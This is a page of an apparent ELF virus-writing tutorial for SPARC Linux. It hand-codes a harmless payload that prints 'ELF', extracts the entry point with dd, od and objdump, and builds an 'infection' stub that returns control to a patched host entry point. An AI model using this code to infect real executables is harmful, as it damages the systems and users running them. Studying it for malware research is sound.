"Evil does seek to maintain power by suppressing the truth." "Or by misleading the innocent." | |
| Spock and McCoy, "And The Children Shall Lead", star date 5029.5. |
The code generated by gcc(1) is not suitable for a virus. So here comes hand crafted code.
Source: src/evil_magic/sparc_Linux_att.S
.section .text
.globl _start
_start: set 4, %g1 ! write
set 1, %o0 ! fd=1
set 0x10001, %o1 ! buf=0x10001
set 3, %o2 ! count=3
ta 0x10
set 1, %g1 ! exit
mov %g0, %o0 ! status=0
ta 0x10 |
Command: pre/sparc-debian2.2-linux/evil_magic/att.sh
#!/bin/bash
src=${1:-./src/evil_magic/sparc_Linux_att.S}
exe=${2:-tmp/sparc-debian2.2-linux/evil_magic/att}
obj=${exe}.o
/usr/bin/gcc -c -I . -D _ASM -o ${obj} ${src} \
&& /usr/bin/ld -o ${exe} ${obj} \
&& /usr/bin/strip ${exe} \
&& ${exe} |
Output: out/sparc-debian2.2-linux/evil_magic/att
ELF |
Output is good. But how do we get the resulting machine code? We can't just add a call to printf(3) to the assembly code. Above example is not linked with glibc; it does not even have a function called main.
On the other hand things became a lot easier. There is no initialization code that gets executed before _start, so the address of _start is really the ELF entry point of the executable. Time to have a closer look at the ELF header. Check out the code at Offset of e_entry (i)
Output: out/sparc-debian2.2-linux/evil_magic/ofs_entry
sizeof_int=4
sizeof_long=4
sizeof_size_t=4
sizeof_Elf32_Ehdr=52
sizeof_Elf32_Shdr=40
sizeof_Elf32_Phdr=32
offset_e_entry=24
sizeof_e_entry=4
offset_e_phoff=28
sizeof_e_phoff=4 |
It's interesting that e_entry is at the same offset in both Elf32_Ehdr and Elf64_Ehdr (of course the size of the field is different).
The classic approach to extract this value from an executable is a combination of dd(1) and od(1). A first (and useless) prototype:
Command: pre/sparc-debian2.2-linux/evil_magic/od.sh
#!/bin/bash
file=${1:-tmp/sparc-debian2.2-linux/evil_magic/att}
/bin/dd if=${file} bs=1 skip=24 count=8 | /usr/bin/od -x |
Output: out/sparc-debian2.2-linux/evil_magic/od
0000000 0001 0074 0000 0034
0000010 |
dd can be replaced by od -j 24 on Solaris and Linux. FreeBSD's implementation spells that od +24. FreeBSD and Linux also provide hexdump -s 24. But unfortunately neither the traditional od nor the modern hexdump on FreeBSD can process 8 byte values. Still worse, I know one installation of alpha-m/additional.cs.xml where perl is compiled without 64-bit support. To reliably cover 64-bit platforms (especially big endian Ultra-Sparc) we need more power.
Source is at Extracting e_entry (i). Also used at The entry point.
Command: pre/sparc-debian2.2-linux/evil_magic/e_entry.sh
#!/bin/bash
tmp/sparc-debian2.2-linux/evil_magic/e_entry \
tmp/sparc-debian2.2-linux/evil_magic/att |
Output: out/sparc-debian2.2-linux/evil_magic/e_entry
10074 116 |
The entry point is specified as a virtual address in memory. By subtracting the base address we get the file offset.
Offset of entry point in file:
0x10074 - 0x10000 = 0x74 = 116
Command: pre/sparc-debian2.2-linux/evil_magic/objdump.sh
#!/bin/bash
read entry_point ofs \
< out/sparc-debian2.2-linux/evil_magic/e_entry
/usr/bin/objdump -d \
--start-address=0x${entry_point} -d \
tmp/sparc-debian2.2-linux/evil_magic/att \
2>&1 | pre/sparc-debian2.2-linux/magic_elf/objdump_format.pl |
Output: out/sparc-debian2.2-linux/evil_magic/att.asm
10074: 82 10 20 04 mov 4, %g1
10078: 90 10 20 01 mov 1, %o0
1007c: 13 00 00 40 sethi %hi(0x10000), %o1
10080: 92 12 60 01 or %o1, 1, %o159 ! 0x10001
10084: 94 10 20 03 mov 3, %o2
10088: 91 d0 20 10 ta 0x10
1008c: 82 10 20 01 mov 1, %g1
10090: 90 10 00 00 mov %g0, %o0
10094: 91 d0 20 10 ta 0x10 |
There is still one thing left: Dressing up the hex dump as C source. We use the script from Dressing up binary code (i).
Output = Source: out/sparc-debian2.2-linux/evil_magic/evil_magic.c
const unsigned char main[]
__attribute__ (( aligned(8), section(".text") )) =
{
0x82,0x10,0x20,0x04, /* 10074: mov 4, %g1 */
0x90,0x10,0x20,0x01, /* 10078: mov 1, %o0 */
0x13,0x00,0x00,0x40, /* 1007c: sethi %hi(0x10000), %o1 */
0x92,0x12,0x60,0x01, /* 10080: or %o1, 1, %o159 */
0x94,0x10,0x20,0x03, /* 10084: mov 3, %o2 */
0x91,0xd0,0x20,0x10, /* 10088: ta 0x10 */
0x82,0x10,0x20,0x01, /* 1008c: mov 1, %g1 */
0x90,0x10,0x00,0x00, /* 10090: mov %g0, %o0 */
0x91,0xd0,0x20,0x10 /* 10094: ta 0x10 */
}; /* 36 bytes (0x24) */ |
Calling the string constant main is not a mistake. Above output is a complete and valid C program. [1]
Command: pre/sparc-debian2.2-linux/evil_magic/cc.sh
#!/bin/bash
/usr/bin/gcc \
-Wall -O1 -I . -I out/sparc-debian2.2-linux -D NDEBUG \
out/sparc-debian2.2-linux/evil_magic/evil_magic.c \
-o tmp/sparc-debian2.2-linux/evil_magic/cc \
2>&1 | /usr/bin/fmt -s \
&& tmp/sparc-debian2.2-linux/evil_magic/cc |
Output: out/sparc-debian2.2-linux/evil_magic/cc
out/sparc-debian2.2-linux/evil_magic/evil_magic.c:2: warning: `main'
is usually a function
ELF |
Up to now our code is intended to be stand-alone. Obviously we must replace the call to exit(2). Instead we have to resume with the original code of the host executable. The last line of assembler code is used to specify the offset of a spot to patch with the original entry address. This ends up in the definition of ENTRY_POINT_OFS required by the framework in One step closer to the edge (i). Note the "i1" in the path of the file name. This is just the first implementation. It will be replaced later on.
On sparc all opcodes take four byte. This makes it impossible to have one instruction load a register with a 32-bit immediate value. One solution is to split up the bits and use a combination of sethi and or. This would require platform specific cooperation from the framework at One step closer to the edge (i), however. Instead we reserve four bytes in the middle of the code. A call loads the address of itself (the call instruction) into %o7. Since the distance between the call and the reserved spot is constant, the called code can load that value without giving up position independence.
Source: src/one_step_closer/i1/sparc_Linux_att.S
.section .text
.globl _start
_start: call _entry
mov %o0,%l0
mov %o1,%l1
mov %o2,%l2
mov %g1,%l3
mov 4,%g1 ! write
mov 1,%o0 ! fd=1
set 0x10001,%o1 ! buf=0x10001
mov 3,%o2 ! count=3
ta 0x10
mov %l1,%o1
mov %l2,%o2
mov %l3,%g1
jmp %l7
mov %l0,%o0
_patch: nop ! replace with original entry point
_entry: retl
ld [%o7 + (_patch - _start)],%l7
set _patch - _start,%g1 ! dummy to specify ofs |
Command: pre/sparc-debian2.2-linux/one_step_closer/att.sh
#!/bin/bash
dst=$1; shift
full_dir=${dst%/*}
inf_dir=${full_dir##*/}
tmp_dst=tmp/sparc-debian2.2-linux/one_step_closer/${inf_dir}/infection
/usr/bin/gcc -c -I . -D _ASM -o ${tmp_dst} \
./src/one_step_closer/${inf_dir}/sparc_Linux_att.S \
&& /usr/bin/objdump -d ${tmp_dst} \
| /bin/sed -ne '/^[[:space:]]*[[:xdigit:]]\{1,\}:/ p' \
| ./src/platform/disasm.pl \
"-identifier=infection" \
"-last_line_is_ofs=" \
"$@" \
> ${dst} |
Output = Source: out/sparc-debian2.2-linux/one_step_closer/i1/infection.inc
const unsigned char infection[]
__attribute__ (( aligned(8), section(".text") )) =
{
0x40,0x00,0x00,0x11, /* 0: call 44 <_entry> */
0xa0,0x10,0x00,0x08, /* 4: mov %o0, %l0 */
0xa2,0x10,0x00,0x09, /* 8: mov %o1, %l1 */
0xa4,0x10,0x00,0x0a, /* c: mov %o2, %l2 */
0xa6,0x10,0x00,0x01, /* 10: mov %g1, %l3 */
0x82,0x10,0x20,0x04, /* 14: mov 4, %g1 */
0x90,0x10,0x20,0x01, /* 18: mov 1, %o0 */
0x13,0x00,0x00,0x40, /* 1c: sethi %hi(0x10000), %o1 */
0x92,0x12,0x60,0x01, /* 20: or %o1, 1, %o1 */
0x94,0x10,0x20,0x03, /* 24: mov 3, %o2 */
0x91,0xd0,0x20,0x10, /* 28: ta 0x10 */
0x92,0x10,0x00,0x11, /* 2c: mov %l1, %o1 */
0x94,0x10,0x00,0x12, /* 30: mov %l2, %o2 */
0x82,0x10,0x00,0x13, /* 34: mov %l3, %g1 */
0x81,0xc5,0xc0,0x00, /* 38: jmp %l7 */
0x90,0x10,0x00,0x10, /* 3c: mov %l0, %o0 */
0x01,0x00,0x00,0x00, /* 40: nop */
0x81,0xc3,0xe0,0x08, /* 44: retl */
0xee,0x03,0xe0,0x40 /* 48: ld [ %o7 + 0x40 ], %l7 */
}; /* 80 bytes (0x50) */
enum { ENTRY_POINT_OFS = 0x40 }; |
| [1] | Even experienced hackers seem to be stunned about this one. The idea is quit famous, though. It won the first International Obfuscated C Coding Contest in 1984. See http://www.es.ioccc.org/1984/mullender.c and http://www.es.ioccc.org/1984/mullender.hint. |